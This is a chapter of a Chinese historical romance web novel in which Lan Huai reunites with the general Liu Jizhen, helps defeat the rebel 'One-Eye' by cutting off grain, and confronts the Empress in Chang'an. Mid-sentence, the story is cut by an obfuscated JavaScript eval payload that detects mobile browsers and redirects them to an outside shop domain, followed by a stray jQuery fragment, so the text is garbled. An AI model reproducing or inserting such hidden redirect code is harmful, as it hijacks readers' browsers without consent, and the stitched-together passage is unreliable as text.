34. 槐序(十九)
    兰槐猛地一回头,发现柳继真就站在身后不远处,双手叉腰,还喘着粗气。月光落在他身上,像是天上来的神仙。

    微凉的夜风吹动他的发丝,只听他道:“身子骨还没好还敢骑这么远,你不要命了?”

    柳继真还想再说点什么,却感到胸口一软,身子被紧紧抱住。细软的发丝被清风吹起,似有如无地落在他的鼻尖,挠的他心痒痒。良久,他才反应过来,随即加剧了拥抱。

    月光下两具年轻的身体紧紧环抱在一起,感受着对方身上的炽热和无声抽噎。

    即使兰槐不说,他也能感受到她被压住的情绪。只能轻拍她的背,暗示她“我在”。

    不知过了多久,兰槐才松开手,哽咽着嗓音,“多谢。”说罢,转身就要走,却被柳继真拉住了手臂。

    “怎么,利用完了就要走?哪有这么便宜你的事。”柳继真单边挑眉,唇角上扬,“跟我过来。”

    他轻车熟路地将兰槐带到一间庖房外,随后一脚踹开了落了锁的门。

    “等我一会儿。”

    兰槐站在门口,盯着他在这边找几种食材,又去另一边生火。直到锅中的水沸腾她才明白过来他想要干什么。

    不过半炷香的时间,一碗飘着热气,撒了葱花的阳春面就被他盛了起来,“试试?许久没做,不知味道咋样。”

    兰槐的肚子不争气地叫了一声,惹得柳继真笑出声,赶紧将她拉过来吃面。这不是她第一次吃阳春面,却也是她第一次吃阳春面。

    还没吃上几口,就觉鼻头一酸,眼泪不自觉地往下流。吓得柳继真赶紧拿手背去擦,“怎么了这是,这面真有这么好吃?那我也去盛一碗尝尝。”

    说罢,他也赶紧去盛了一碗,坐在兰槐对面,也学着她的样子,边哭边吃。兰槐见了没忍住笑出声来,心中的雾霾也好似被吹走了不少。

    “笑了就成。”柳继真还想再说些什么,就传来一阵敲门声,他转头看去。

    只见李载站在门口,神情凝重,“船头见。”他扫了一眼兰槐,终是没能开口,急匆匆地往外走。

    柳继真鲜少见他如此,也察觉出有些异样,赶紧放下碗筷,拍了拍兰槐的手臂,“你先吃,然后回去找个屋子休息,碗放在这里等我来洗。”

    跑到一半,突然回头,坚定地望向兰槐,大声喊了一句,“等我!”

    兰槐赶紧点点头,但柳继真的脚程实在是太快,一眨眼就看不见了踪影。

    身旁突然没了叽叽喳喳,兰槐还有些不习惯。她垂眸盯着面前的那碗面,上面早就没冒热气了,只是旁边还有几颗晶莹的泪珠。

    兰槐无意识地伸出手指,蘸了点,写下“柳”这个字。刚一写完,就听见门外传来动静,她下意识用袖口擦去。

    “娘子,你怎么在这!”来人是翠柳,声音焦急,“船上的人都撤离得差不多了,找你半天都不见!”

    什么人?撤离什么?还没来得及琢磨,就被翠柳一把拉走,她还没来得及吃完桌上的那碗面。

    翠柳脚步很快,兰槐几乎是小跑着才能跟上。

    “拿着!”翠柳不知从哪拿过一个包袱,扔给兰槐,自己又背上一个更重的,“咱们是最后一批撤离的,也不知道天亮之前能不能赶到。”

    “我们这是……”因为方才哭过,兰槐的嗓音还有些沙哑。

    “逃难啊,成王要同独眼打起来了。”翠柳声音尖锐,一脸不可置信,却又将兰槐拢到自己身边,“放心,我会保护你的。”说罢,又将兰槐的手扯到自己的胳膊上,示意她关注自己的大块肌肉。

    兰槐一下就想明白,为何方才李载神情为何会如此不好了,柳继真这时候赶过去,只怕是……她不敢往下想,只能在心里默默祈祷。

    撤离的工具是一艘小船,等到兰槐二人赶到的时候,上面已经挤满了人。

    “来来来,娘子,你再往里面挤挤。”翠柳,眼瞅着面前的空位,一把就将兰槐推了上去,自己也顺势挤了上去,“我们要随他们北上,那边有主君的接应,最后便在长安会和。”

    兰槐有些受不了拥挤,眉头一直紧皱,心里却在想着那边的征战。这次,估计免不了一场大战。

    按照成王的说法。独眼已经同他在江南积累了那么多年的势力,一直策划着谋反,那么兵力肯定不小。而成王同他决裂,皇帝也只派了柳继真过来接应。

    独眼……兰槐脑子里猛地一闪。

    独眼一直是在江南巩固势力,盘踞在岛上。既然有军队就有开资,其中粮草是最必不可少的。而整个江南的粮草都是兰家说了算。

    想到这,她唇角荡开一丝笑。她自幼精通算术,兰家垄断粮草都是她提出来的,而后面也一直是她在负责。只要她将最近的粮草账簿拿出来,一阻隔不就好了吗。

    虽然并不能确定能不能帮到忙,但起码在她看起来是有用的。

    兰槐按住翠柳的手,“我们不去长安,去苏州!”

    翠柳虽是疑惑,想要劝诫几分却被兰槐堵住了嘴,“你是想看成王胜还是败?”

    “当然是胜啊。”翠柳回答的是毫不犹豫。这条暗黑无尽的路,终于要迎来曙光,她又怎么可能关上这扇门。

    小船又行了半天才停靠在一个港口,兰槐赶紧带着翠柳下船,用着身上所用的银钱租来一匹——骡。

    “娘……娘子,这能行吗?”翠柳对这匹瘦小的骡子深感担忧。

    “别废话。”兰槐拧着眉,一夹骡腹,发现这骡子根本不走,她只好找来一根鞭子,边抽边呵斥。

    好在骡子能动,她眉间一松。

    次日一早,兰槐就到了苏州,还没来得及合眼就急匆匆到了兰家账房。虽说苏州离那边有些距离,但街上依旧门户紧闭。她眉间不禁染上了一层雾霾。

    大战持续了两个多月,沿海一带都被波及了,不少难民都北上。最后不知是不是兰槐粮草的原因,到了第三个月初独眼很快就被瓦解。

    “听说柳将军以一当十,直接杀了进去,将独眼的头颅取了下来。”翠柳手舞足蹈,描述得绘声绘色,“我们总算是得见天日了。等成王去面了圣,罩在身上的骂名也算是能洗掉。”

    几日前,柳继真就传信过来,叫她回长安,他在长安等她。收到信后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014498|144103||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,兰槐就立刻带着翠柳坐上了去长安的马车。

    天气渐渐转凉,风将车帘掀开一角。翠柳见了,赶紧上前掖住,又给兰槐斟了杯茶,“小心烫。”

    兰槐眼睫轻颤,这一直是香菱的活,也不知她如今在军营中过得可好。

    “娘子不开心?”翠柳道:“我劝娘子还是琢磨一下受封的时候穿什么罢,听说是由宫里的嬷嬷做呢。”

    “受封……”兰槐呢喃道。

    “对啊。您可是成王唯一的嫡女呢,那肯定会被封成将来的郡主啊,到时候……”

    “行了。”兰槐不悦地摆手。翠柳也只好识相地在一旁不语。

    到长安的时候,已经入了秋。北方寒意重,方一下车兰槐就打了好几个喷嚏。

    兰府早就差人收拾过了,兰槐一回来就能直接住进去。只是刚一入府,就发觉门口站了个不速之客。

    “来得这般晚?”李怜察觉身后有人,斜睨着眼侧过头,“许久不见,竟还变憔悴了。”

    她一眼就看见兰槐脸上的淡痕,也不知回家干什么去了,落得这副模样。没等兰槐行礼,李怜就扭着腰肢走了过去,“知道你路上劳累,可是等不及了,阿娘要见你!”

    说罢,就将兰槐往外扯,一直到皇后的坤宁宫外才放开她的手。却仍旧是那副不屑的表情,“进去吧,阿娘该等急了。”

    兰槐神色淡淡,敛着眉不知道在想些什么。脚步机械地跟着宫女的脚步往内走。

    “善儿,你来了。”

    刚一踏进去,就听见一道迟暮的声音。

    兰槐心里一惊,几乎是一瞬间就抬起了头。

    皇后看起来苍老了不少,鬓间还生出了银发。眼底的乌青,再多的粉黛都遮不住。此刻她单手撑头,看起来疲惫极了。

    兰槐赶紧行了一礼,心里想到独眼和萧家的关系。看皇后这个样子,这件事皇上也应该知道,也不知降了什么罪,尽让她这般。

    “善儿,来,让姨娘好好看看你。”皇后朝兰槐伸出手,想要去抱住她。

    兰槐迟疑地走上前,主动伸手牵住了她。

    “好,好孩子。”皇后的眼眶中不知什么时候含了泪珠,不停地抚摸兰槐的手背,“想好册封那天穿什么了吗?我让尚衣局给你做。”

    “不用。”兰槐冷着声,撇开皇后的手,“民女现在姓兰,将来也只会姓兰,不会是那什么郡主。”

    “你还真是,不可教!”皇后伸手点了她的头,“你成了郡主,没准儿还能保你外祖父……”说到后面,连她顿了下,缓了口气,“皇上要流放你外祖父,西北那种苦寒之地……”

    “那又怎样。”兰槐打断了她的话,“与我何干?”随即站了起来,与皇后隔开一段距离,弯腰,“既无要事,那民女先行告退。”

    皇后一愣,没想到自己准备的感情牌就这么被打了回来,只好愤懑地指着兰槐的背影,“他和你是血脉至亲,你就不怕遭天谴吗?”

    兰槐轻笑出声,声线淡漠,“那便遭罢。”

    她正欲抬脚走出去,迎面就撞上个太监,尖着嗓音,叫道:“圣旨到——”